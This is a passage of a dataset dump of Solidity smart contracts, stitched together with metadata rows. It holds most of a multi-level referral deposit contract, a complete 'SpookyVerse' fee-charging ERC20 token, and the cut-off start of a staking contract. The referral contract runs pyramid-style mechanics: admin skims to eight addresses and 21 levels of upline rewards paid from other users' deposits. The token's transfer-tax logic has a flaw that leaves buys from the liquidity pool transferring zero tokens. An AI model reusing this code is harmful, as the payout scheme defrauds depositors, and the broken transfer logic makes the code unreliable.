"Deposit amount at least 1000RTX.");
//updateTeam(recommender_addr,msg.value,players[msg.sender].addr==address(0));
if(players[msg.sender].addr==address(0)){
addressIndices.push(msg.sender);
}
//91% => contract balance
total_balance+=msg.value*91/100;
//2% => insure balance
insure_balance+=msg.value*2/100;
insure_address.transfer(msg.value*2/100);
//1% => award for day
top_award_balance_1+=msg.value*1/100;
//1% => award for week
top_award_balance_7+=msg.value*1/100;
uint256 admin_amount=msg.value*5/100;
admin1_27.transfer(admin_amount*27/100);
admin2_14_5.transfer(admin_amount*29/2/100);
admin3_14_5.transfer(admin_amount*29/2/100);
admin4_14_5.transfer(admin_amount*29/2/100);
admin5_14_5.transfer(admin_amount*29/2/100);
admin6_5.transfer(admin_amount*5/100);
admin7_5.transfer(admin_amount*5/100);
admin8_5.transfer(admin_amount*5/100);
if(history_top_balance<total_balance){
history_top_balance=total_balance;
}
players[msg.sender].addr=msg.sender;
//players[msg.sender].amount=msg.value*91/100;
players[msg.sender].amount+=msg.value;
//players[msg.sender].prepare_balance+=msg.value*91/100*getMulit2()/2;
players[msg.sender].prepare_balance+=msg.value*getMulit2()/2;
players[msg.sender].last_ts=now;
players[msg.sender].last_days=0;
//send award when first time deposited.
if(recommender_addr!=address(0) && players[msg.sender].amount==msg.value){
sendDepositAward(msg.value*9/100,recommender_addr);
players[msg.sender].recommender_addr=recommender_addr;
players[recommender_addr].recommend_num++;
emit Deposit(recommender_addr, msg.value);
}
if(players[msg.sender].wait_award>0){
if(players[msg.sender].prepare_balance>=players[msg.sender].wait_award){
players[msg.sender].prepare_balance-=players[msg.sender].wait_award;
players[msg.sender].released_amount+=players[msg.sender].wait_award;
players[msg.sender].wait_award=0;
}
else{
players[msg.sender].wait_award-=players[msg.sender].prepare_balance;
players[msg.sender].released_amount+=players[msg.sender].prepare_balance;
players[msg.sender].prepare_balance=0;
}
}
//clean static account
return release_award(msg.sender);
}
function withdraw_without_award(address payable player_address) public returns(uint) {
require(msg.sender==contract_owner,
"Only contract owner can calling this function.");
require(players[player_address].released_amount>0,
"Not enough balance.");
uint256 draw_amount;
uint cvip_value=100000*getReleasePrecent10()/10;
uint normal_value=50000*getReleasePrecent10()/10;
if(players[player_address].is_cvip==1){
if(players[player_address].released_amount>cvip_value*s){
draw_amount=cvip_value*s;
}
else{
draw_amount=players[player_address].released_amount;
}
}
else{
if(players[player_address].released_amount>normal_value*s){
draw_amount=normal_value*s;
}
else{
draw_amount=players[player_address].released_amount;
}
}
uint256 amount_=draw_amount*90/100;
player_address.transfer(amount_);
players[player_address].released_amount-=draw_amount;
total_balance-=draw_amount*93/100;
insure_balance+=draw_amount*3/100;
insure_address.transfer(draw_amount*3/100);
//clean static accountv
return 1;
}
function withdraw() public returns(uint) {
require(players[msg.sender].released_amount>0,
"Not enough balance.");
uint256 draw_amount;
uint cvip_value=100000*getReleasePrecent10()/10;
uint normal_value=50000*getReleasePrecent10()/10;
if(players[msg.sender].is_cvip==1){
if(players[msg.sender].released_amount>cvip_value*s){
draw_amount=cvip_value*s;
}
else{
draw_amount=players[msg.sender].released_amount;
}
}
else{
if(players[msg.sender].released_amount>normal_value*s){
draw_amount=normal_value*s;
}
else{
draw_amount=players[msg.sender].released_amount;
}
}
uint256 amount_=draw_amount*90/100;
msg.sender.transfer(amount_);
players[msg.sender].released_amount-=draw_amount;
total_balance-=draw_amount*93/100;
insure_balance+=draw_amount*3/100;
insure_address.transfer(draw_amount*3/100);
//clean static accountv
return release_award(msg.sender);
}
function release_award(address addr) private returns(uint){
uint256 amount=players[addr].static_in_released_amount;
if(amount<=0){
return 0;
}
uint loopnum=0;
//manager award
Player memory current_user=players[addr];
address prev_addr=current_user.recommender_addr;
for(uint i=1;i<=21;i++){
if(prev_addr==address(0)){
break;
}
current_user=players[prev_addr];
if(current_user.recommend_num>=getNumRequest(i)){
sendManagerAward(amount*getManagerAwardPrecent(i)/100,prev_addr);
}
prev_addr=current_user.recommender_addr;
loopnum++;
}
release_cvip_award(addr);
}
function release_cvip_award(address addr) public returns (uint){
address prev_addr;
uint loopnum=0;
uint256 amount=players[addr].static_in_released_amount;
if(amount==0){
return 0;
}
players[addr].static_in_released_amount=0;
Player memory current_user=players[addr];
current_user=players[addr];
prev_addr=current_user.recommender_addr;
uint256 award_released=0;
uint precent;
uint256 amount_cvip_award;
uint256 amount_cvip_award_left;
while(true){
if(prev_addr==address(0)){
break;
}
current_user=players[prev_addr];
if(current_user.is_cvip!=1){
prev_addr=current_user.recommender_addr;
loopnum++;
continue;
}
precent=getCVIPAwardPrecent(current_user.cvip_num);
amount_cvip_award=amount*precent/100;
amount_cvip_award_left=amount_cvip_award-award_released;
if(amount_cvip_award_left<=0){
prev_addr=current_user.recommender_addr;
loopnum++;
continue;
}
sendCVIPAward(amount_cvip_award_left,prev_addr);
award_released+=amount_cvip_award_left;
if(award_released>=amount*16/100){
break;
}
prev_addr=current_user.recommender_addr;
loopnum++;
}
return loopnum;
}
function release_amount_diary(address addr) private{
uint256 amount=players[addr].amount*getReleasePrecent10()/10/100;
release_amount(amount,addr);
players[addr].static_in_released_amount+=amount;
}
function getCVIPAwardPrecent(uint cvipNum) private pure returns(uint){
if(cvipNum>=128) return 16;
if(cvipNum>=64) return 14;
if(cvipNum>=32) return 12;
if(cvipNum>=16) return 10;
if(cvipNum>=8) return 8;
if(cvipNum>=4) return 6;
if(cvipNum>=2) return 4;
return 2;
}
function getManagerAwardPrecent(uint i) private pure returns(uint){
if(i==1) return 30;
if(i==2) return 8;
if(i==3) return 8;
if(i==4) return 8;
if(i==5) return 8;
if(i==6) return 5;
if(i==7) return 5;
if(i==8) return 5;
if(i==9) return 5;
if(i==10) return 5;
if(i==11) return 4;
if(i==12) return 4;
if(i==13) return 4;
if(i==14) return 4;
if(i==15) return 4;
if(i==16) return 2;
if(i==17) return 2;
if(i==18) return 2;
if(i==19) return 2;
if(i==20) return 2;
if(i==21) return 2;
}
function getNumRequest(uint i) private pure returns(uint){
if(i==1) return 2;
if(i==2) return 4;
if(i==3) return 8;
if(i==4) return 10;
if(i==5) return 12;
if(i==6) return 14;
if(i==7) return 18;
if(i==8) return 20;
if(i==9) return 21;
if(i==10) return 22;
if(i==11) return 23;
if(i==12) return 24;
if(i==13) return 25;
if(i==14) return 26;
if(i==15) return 27;
if(i==16) return 28;
if(i==17) return 29;
if(i==18) return 30;
if(i==19) return 31;
if(i==20) return 32;
if(i==21) return 33;
}
function release_amount(uint amount,address addr) private{
if(players[addr].prepare_balance<amount){
return;
}
if(amount<=0){
return;
}
players[addr].prepare_balance-=amount;
players[addr].released_amount+=amount;
//total_balance-=amount;
players[addr].total_released+=amount;
}
function sendDepositAward(uint amount,address recommender_addr) private{
uint prepare_balance=players[recommender_addr].prepare_balance;
//burning 50% if balance is not enough
if(prepare_balance<amount){
amount=amount/2;
players[recommender_addr].burn_amount+=amount;
}
//record to wait award balance if still not enough
if(players[recommender_addr].prepare_balance<amount){
players[recommender_addr].wait_award+=amount-players[recommender_addr].prepare_balance;
amount=players[recommender_addr].prepare_balance;
}
release_amount(amount,recommender_addr);
}
function sendManagerAward(uint amount,address recommender_addr) private{
uint prepare_balance=players[recommender_addr].prepare_balance;
//burning half if balance is not enough
if(prepare_balance<amount){
amount=amount/2;
players[recommender_addr].burn_amount+=amount;
}
//record to wait award balance if still not enough
if(players[recommender_addr].prepare_balance<amount){
players[recommender_addr].wait_award+=amount-players[recommender_addr].prepare_balance;
amount=players[recommender_addr].prepare_balance;
}
release_amount(amount,recommender_addr);
}
function sendCVIPAward(uint amount,address recommender_addr) private{
uint prepare_balance=players[recommender_addr].prepare_balance;
//burning 50% if balance is not enough
if(prepare_balance<amount){
amount=amount/2;
players[recommender_addr].burn_amount+=amount;
}
//record to wait award balance if still not enough
if(players[recommender_addr].prepare_balance<amount){
players[recommender_addr].wait_award+=amount-players[recommender_addr].prepare_balance;
amount=players[recommender_addr].prepare_balance;
}
release_amount(amount,recommender_addr);
}
function redeposit()public returns(uint){
require(players[msg.sender].released_amount>0,
"Not enough balance.");
uint value=players[msg.sender].released_amount;
players[msg.sender].released_amount=0;
//91% => contract balance
//total_balance+=value*91/100;
//2% => insure balance
total_balance-=value*9/100;
insure_balance+=value*2/100;
insure_address.transfer(value*2/100);
//1% => award for day
top_award_balance_1+=value*1/100;
//1% => award for week
top_award_balance_7+=value*1/100;
uint256 admin_amount=value*5/100;
admin1_27.transfer(admin_amount*27/100);
admin2_14_5.transfer(admin_amount*29/2/100);
admin3_14_5.transfer(admin_amount*29/2/100);
admin4_14_5.transfer(admin_amount*29/2/100);
admin5_14_5.transfer(admin_amount*29/2/100);
admin6_5.transfer(admin_amount*5/100);
admin7_5.transfer(admin_amount*5/100);
admin8_5.transfer(admin_amount*5/100);
players[msg.sender].amount+=value;
players[msg.sender].prepare_balance+=value*getMulit2()/2;
players[msg.sender].last_ts=now;
players[msg.sender].last_days=0;
if(players[msg.sender].wait_award>0){
if(players[msg.sender].prepare_balance>=players[msg.sender].wait_award){
players[msg.sender].prepare_balance-=players[msg.sender].wait_award;
players[msg.sender].released_amount+=players[msg.sender].wait_award;
players[msg.sender].wait_award=0;
}
else{
players[msg.sender].wait_award-=players[msg.sender].prepare_balance;
players[msg.sender].released_amount+=players[msg.sender].prepare_balance;
players[msg.sender].prepare_balance=0;
}
}
//clean static account
return release_award(msg.sender);
}
function cvip() public payable returns(uint){
require(players[msg.sender].is_cvip==0,
"Already CVIP.");
require(msg.value==50000*s,
"Value not correct.");
players[msg.sender].is_cvip=1;
address user=msg.sender;
while(true){
address prev_addr=players[user].recommender_addr;
if(prev_addr!=address(0)){
players[prev_addr].cvip_num+=1;
user=prev_addr;
}
else{
break;
}
}
uint256 admin_amount=msg.value*60/100;
admin1_27.transfer(admin_amount*27/100);
admin2_14_5.transfer(admin_amount*29/2/100);
admin3_14_5.transfer(admin_amount*29/2/100);
admin4_14_5.transfer(admin_amount*29/2/100);
admin5_14_5.transfer(admin_amount*29/2/100);
admin6_5.transfer(admin_amount*5/100);
admin7_5.transfer(admin_amount*5/100);
admin8_5.transfer(admin_amount*5/100);
total_balance+=msg.value*40/100;
return players[msg.sender].cvip_num;
}
function isNowGMT13() private view returns(bool){
(uint hour) = timestampToDateTime(now);
if(hour==22){
return true;
}
return false;
}
function timestampToDateTime(uint timestamp) internal pure returns (uint hour) {
uint SECONDS_PER_DAY = 24 * 60 * 60;
uint SECONDS_PER_HOUR = 60 * 60;
//uint SECONDS_PER_MINUTE = 60;
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
//secs = secs % SECONDS_PER_HOUR;
//minute = secs / SECONDS_PER_MINUTE;
//second = secs % SECONDS_PER_MINUTE;
}
function dDaysPassed(uint ts,uint d) private view returns (bool) {
return (now >= (ts + d*24 hours));
}
function release_top_day_award(address payable top1,address payable top2,address payable top3,address payable top4,address payable top5) private{
uint256 amount=0;
for(uint i=0;i<5;i++){
if(i==0 && top1!=address(0)){
amount=top_award_balance_1*40/100;
top1.transfer(amount);
}
else if(i==1 && top2!=address(0)){
amount=top_award_balance_1*25/100;
top2.transfer(amount);
}
else if(i==2 && top3!=address(0)){
amount=top_award_balance_1*20/100;
top3.transfer(amount);
}
else if(i==3 && top4!=address(0)){
amount=top_award_balance_1*10/100;
top4.transfer(amount);
}
else if(i==4 && top5!=address(0)){
amount=top_award_balance_1*5/100;
top5.transfer(amount);
}
else {
break;
}
}
top_award_balance_1=0;
}
function release_top_week_award(address payable top1,address payable top2,address payable top3,address payable top4,address payable top5) private{
uint256 amount=0;
for(uint i=0;i<5;i++){
if(i==0 && top1!=address(0)){
amount=top_award_balance_7*40/100;
top1.transfer(amount);
}
else if(i==1 && top2!=address(0)){
amount=top_award_balance_7*25/100;
top2.transfer(amount);
}
else if(i==2 && top3!=address(0)){
amount=top_award_balance_7*20/100;
top3.transfer(amount);
}
else if(i==3 && top4!=address(0)){
amount=top_award_balance_7*10/100;
top4.transfer(amount);
}
else if(i==4 && top5!=address(0)){
amount=top_award_balance_7*5/100;
top5.transfer(amount);
}
else {
break;
}
}
top_award_balance_7=0;
}
function release_insure() private{
insure_balance=0;
}
function release_topaward(address payable topday1,address payable topday2,address payable topday3,address payable topday4,address payable topday5) public returns(bool){
require(msg.sender==contract_owner,
"Only contract owner can calling this function.");
//if(isNowGMT13()){
if(getReleasePrecent10()==1){
day_in_low_release++;
}
release_top_day_award(topday1,topday2,topday3,topday4,topday5);
return true;
//}
//else{
// return false;
//}
}
function release_topaward_week(address payable top1,address payable top2,address payable top3,address payable top4,address payable top5)public returns(bool){
require(msg.sender==contract_owner,
"Only contract owner can calling this function.");
//if(isNowGMT13()){
release_top_week_award(top1,top2,top3,top4,top5);
return true;
//}
}
function release_diary_self() public returns(bool){
if(players[msg.sender].prepare_balance<=0){
return false;
}
if(dDaysPassed(players[msg.sender].last_ts,players[msg.sender].last_days+1)){
players[msg.sender].last_days++;
release_amount_diary(msg.sender);
return true;
}
return false;
}
function release_diary(address addr) public returns(bool){
require(msg.sender==contract_owner,
"Only contract owner can calling this function.");
if(addr!=address(0)){
if(players[addr].prepare_balance<=0){
return false;
}
if(dDaysPassed(players[addr].last_ts,players[addr].last_days+1)){
players[addr].last_days++;
release_amount_diary(addr);
}
}
else{
uint arrayLength = addressIndices.length;
for (uint i=0; i<arrayLength; i++) {
addr=addressIndices[i];
if(players[addr].prepare_balance<=0){
continue;
}
if(dDaysPassed(players[addr].last_ts,players[addr].last_days+1)){
players[addr].last_days++;
release_amount_diary(addr);
}
}
}
return true;
}
function getMulit2() private view returns(uint){
if(total_balance<history_top_balance*18/100){
return 15;
}
else if(total_balance<history_top_balance*26/100){
return 14;
}
else if(total_balance<history_top_balance*34/100){
return 13;
}
else if(total_balance<history_top_balance*42/100){
return 12;
}
else if(total_balance<history_top_balance*50/100){
return 11;
}
else if(total_balance<history_top_balance*58/100){
return 10;
}
else if(total_balance<history_top_balance*66/100){
return 9;
}
else if(total_balance<history_top_balance*74/100){
return 8;
}
else if(total_balance<history_top_balance*82/100){
return 7;
}
else {
return 6;
}
}
function getReleasePrecent10() private view returns(uint){
if(total_balance<history_top_balance*18/100){
return 1;
}
else if(total_balance<history_top_balance*26/100){
return 2;
}
else if(total_balance<history_top_balance*34/100){
return 3;
}
else if(total_balance<history_top_balance*42/100){
return 4;
}
else if(total_balance<history_top_balance*50/100){
return 5;
}
else if(total_balance<history_top_balance*58/100){
return 6;
}
else if(total_balance<history_top_balance*66/100){
return 7;
}
else if(total_balance<history_top_balance*74/100){
return 8;
}
else if(total_balance<history_top_balance*82/100){
return 9;
}
else {
return 10;
}
}
}
| 296,487 | 11,762 |
a28075c295d7ab2c90e1ddccf519a9bddb53ada97abd44145ffdbfc47d205815
| 39,759 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/ed/eDE343FfF48da340b2D7E64E6Acb4d46550AF539_SpookyVerse.sol
| 4,634 | 20,584 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
abstract contract OwnerRecovery is Ownable {
function recoverLostAVAX() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function recoverLostTokens(address _token,
address _to,
uint256 _amount) external onlyOwner {
IERC20(_token).transfer(_to, _amount);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface ILiquidityPoolManager {
function owner() external view returns (address);
function getRouter() external view returns (address);
function getPair() external view returns (address);
function getLeftSide() external view returns (address);
function getRightSide() external view returns (address);
function isPair(address _pair) external view returns (bool);
function isRouter(address _router) external view returns (bool);
function isFeeReceiver(address _receiver) external view returns (bool);
function isLiquidityIntact() external view returns (bool);
function isLiquidityAdded() external view returns (bool);
function afterTokenTransfer(address sender) external returns (bool);
}
abstract contract LiquidityPoolManagerImplementationPointer is Ownable {
ILiquidityPoolManager internal liquidityPoolManager;
event UpdateLiquidityPoolManager(address indexed oldImplementation,
address indexed newImplementation);
modifier onlyLiquidityPoolManager() {
require(address(liquidityPoolManager) != address(0),
"Implementations: LiquidityPoolManager is not set");
address sender = _msgSender();
require(sender == address(liquidityPoolManager),
"Implementations: Not LiquidityPoolManager");
_;
}
function getLiquidityPoolManagerImplementation() public view returns (address) {
return address(liquidityPoolManager);
}
function changeLiquidityPoolManagerImplementation(address newImplementation)
public
virtual
onlyOwner
{
address oldImplementation = address(liquidityPoolManager);
require(Address.isContract(newImplementation) ||
newImplementation == address(0),
"LiquidityPoolManager: You can only set 0x0 or a contract address as a new implementation");
liquidityPoolManager = ILiquidityPoolManager(newImplementation);
emit UpdateLiquidityPoolManager(oldImplementation, newImplementation);
}
uint256[49] private __gap;
}
interface IWalletObserver {
function beforeTokenTransfer(address sender,
address from,
address to,
uint256 amount) external returns (bool);
}
abstract contract WalletObserverImplementationPointer is Ownable {
IWalletObserver internal walletObserver;
event UpdateWalletObserver(address indexed oldImplementation,
address indexed newImplementation);
modifier onlyWalletObserver() {
require(address(walletObserver) != address(0),
"Implementations: WalletObserver is not set");
address sender = _msgSender();
require(sender == address(walletObserver),
"Implementations: Not WalletObserver");
_;
}
function getWalletObserverImplementation() public view returns (address) {
return address(walletObserver);
}
function changeWalletObserverImplementation(address newImplementation)
public
virtual
onlyOwner
{
address oldImplementation = address(walletObserver);
require(Address.isContract(newImplementation) ||
newImplementation == address(0),
"WalletObserver: You can only set 0x0 or a contract address as a new implementation");
walletObserver = IWalletObserver(newImplementation);
emit UpdateWalletObserver(oldImplementation, newImplementation);
}
uint256[49] private __gap;
}
interface IJoePair {
function token0() external view returns (address);
function token1() external view returns (address);
}
contract SpookyVerse is
ERC20,
ERC20Burnable,
Ownable,
OwnerRecovery,
LiquidityPoolManagerImplementationPointer,
WalletObserverImplementationPointer
{
address public immutable factionsManager;
address public treasury;
uint public sellFeesAmount;
uint public transferFeesAmount;
mapping (address => bool) public excludedFromFees;
modifier onlyFactionsManager() {
address sender = _msgSender();
require(sender == address(factionsManager),
"Implementations: Not FactionsManager");
_;
}
constructor(address _factionsManager, address _treasury) ERC20("SpookyVerse", "FEAR") {
require(_factionsManager != address(0),
"Implementations: factionsManager is not set");
factionsManager = _factionsManager;
_mint(owner(), 42_000_000_000 * (10**18));
setTreasury(_treasury);
setFeesAmount(100, 400);
}
function setFeesAmount(uint _sellFeesAmount, uint _transferFeesAmount) public onlyOwner {
require(_sellFeesAmount <= 150, "fees too high");
require(_transferFeesAmount <= 400, "fees too high");
sellFeesAmount = _sellFeesAmount;
transferFeesAmount = _transferFeesAmount;
}
function setTreasury(address _treasury) public onlyOwner {
treasury = _treasury;
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (address(walletObserver) != address(0)) {
walletObserver.beforeTokenTransfer(_msgSender(), from, to, amount);
}
}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual override {
super._afterTokenTransfer(from, to, amount);
if (address(liquidityPoolManager) != address(0)) {
liquidityPoolManager.afterTokenTransfer(_msgSender());
}
}
function accountBurn(address account, uint256 amount)
external
onlyFactionsManager
{
// Note: _burn will call _beforeTokenTransfer which will ensure no denied addresses can create cargos
// effectively protecting FactionsManager from suspicious addresses
super._burn(account, amount);
}
function accountReward(address account, uint256 amount)
external
onlyFactionsManager
{
require(address(liquidityPoolManager) != account,
"SpookyVerse: Use liquidityReward to reward liquidity");
super._mint(account, amount);
}
function liquidityReward(uint256 amount) external onlyFactionsManager {
require(address(liquidityPoolManager) != address(0),
"SpookyVerse: LiquidityPoolManager is not set");
super._mint(address(liquidityPoolManager), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
return _transferTaxOverride(_msgSender(), recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transferTaxOverride(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
// exclude addresses from fees (for exemple to deposit the initial liquidity without fees)
function setFeesExcluded(address _addr, bool _isExcluded) external onlyOwner {
excludedFromFees[_addr] = _isExcluded;
}
function _transferTaxOverride(address sender, address recipient, uint256 amount) internal returns (bool) {
uint _transferAmount;
if (isFEARLiquidityPool(recipient)) { // if the recipient address is a liquidity pool, apply sell fee
uint _fees = (amount * sellFeesAmount) / 1000;
_transferAmount = amount - _fees;
_transfer(sender, treasury, _fees); // transfer fee to treasury address
} else if (!isFEARLiquidityPool(sender)) { // apply transfer fee if this isn't a transfer from the pool (buy)
uint _fees = (amount * transferFeesAmount) / 1000;
_transferAmount = amount - _fees;
_transfer(sender, treasury, _fees); // transfer fee to treasury address
}
_transfer(sender, recipient, _transferAmount);
return true;
}
// retreive token from pool contract (with getter function)
function getPoolToken(address pool, string memory signature, function() external view returns(address) getter) private returns (address token) {
(bool success,) = pool.call(abi.encodeWithSignature(signature)); // if the call succeed (pool address have the "signature" method or "pool" is an EOA)
if (success) {
if (Address.isContract(pool)) { // verify that the pool is a contract (constructor can bypass this but its not dangerous)
return getter();
}
}
}
// return true if the "_recipient" address is a FEAR liquidity pool
function isFEARLiquidityPool(address _recipient) private returns (bool) {
address token0 = getPoolToken(_recipient, "token0()", IJoePair(_recipient).token0);
address token1 = getPoolToken(_recipient, "token1()", IJoePair(_recipient).token1);
return (token0 == address(this) || token1 == address(this));
}
}
| 122,931 | 11,763 |
ed36a77fe0f93aeb6ded584b89fb5c475751bcf907948fa9b31444fd1528ee05
| 27,455 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/8e/8E136ebaE22D48a7A889646573D269857CBCF26D_LightSaberStakingContract.sol
| 4,201 | 16,954 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
